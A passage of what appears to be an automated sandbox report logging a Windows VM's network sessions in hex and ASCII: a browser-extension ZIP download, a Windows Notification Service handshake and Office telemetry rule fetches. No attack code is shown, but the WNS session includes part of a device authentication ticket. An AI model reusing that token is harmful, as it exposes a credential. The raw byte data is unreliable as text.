wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-12 12:35:31 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-12 12:35:31 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-12 12:35:31 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-12 12:35:31 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-12 12:35:31 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-12 12:35:31 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-12 12:35:31 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	51580	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:31 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 46 61 53 41 51 68 6b 6a 6b 45 4f 41 45 31 77 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 64 33 61 38 66 63 36 34 38 39 35 35 65 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: FaSAQhkjkEOAE1wm.1Context: ad3a8fc648955ec
2024-11-12 12:35:31 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-12 12:35:31 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 46 61 53 41 51 68 6b 6a 6b 45 4f 41 45 31 77 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 64 33 61 38 66 63 36 34 38 39 35 35 65 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 61 45 58 74 6d 6c 36 59 73 6a 75 35 41 33 6b 48 47 6f 58 69 47 55 63 59 75 77 47 4c 4e 34 6c 56 75 74 39 70 4e 31 6f 63 52 6d 6f 67 45 58 48 76 30 43 54 44 49 7a 32 30 57 79 45 4c 63 41 67 53 57 68 59 79 71 30 4b 71 2f 35 57 54 4c 68 4f 30 6a 56 63 32 53 6d 45 6a 4a 31 48 6d 4c 30 36 45 6d 4d 32 6c 67 35 71 39 71 48 2f 46 Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: FaSAQhkjkEOAE1wm.2Context: ad3a8fc648955ec<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefaEXtml6Ysju5A3kHGoXiGUcYuwGLN4lVut9pN1ocRmogEXHv0CTDIz20WyELcAgSWhYyq0Kq/5WTLhO0jVc2SmEjJ1HmL06EmM2lg5q9qH/F
2024-11-12 12:35:31 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 46 61 53 41 51 68 6b 6a 6b 45 4f 41 45 31 77 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 64 33 61 38 66 63 36 34 38 39 35 35 65 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: FaSAQhkjkEOAE1wm.3Context: ad3a8fc648955ec<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-12 12:35:31 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-12 12:35:31 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 46 76 68 6d 5a 68 6a 6e 69 6b 79 30 72 76 68 36 31 33 67 77 58 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: FvhmZhjniky0rvh613gwXg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	51584	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:32 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:32 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:32 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a14a0ed7-201e-0096-78aa-31ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123532Z-16547b76f7fx6rhxhC1DFW76kg0000000fk000000000b21n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:32 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	51585	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:32 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:32 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:32 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 4e98fbea-b01e-0002-08d2-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123532Z-16547b76f7fnlcwwhC1DFWz6gw0000000fn000000000daeq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	51587	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:32 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:32 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:32 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b1270df0-501e-0035-6dd2-2cc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123532Z-16547b76f7fvllnfhC1DFWxkg80000000fp0000000008f44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	51588	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:32 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:32 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:32 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: d5f81faf-001e-0017-2ed2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123532Z-16547b76f7fdf69shC1DFWcpd00000000fp0000000000hdt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	51586	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:32 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:32 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:32 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 081c3a8e-a01e-0053-58d2-2c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123532Z-16547b76f7f2g4rlhC1DFWnx880000000fp0000000000he3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	51593	172.64.41.3	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
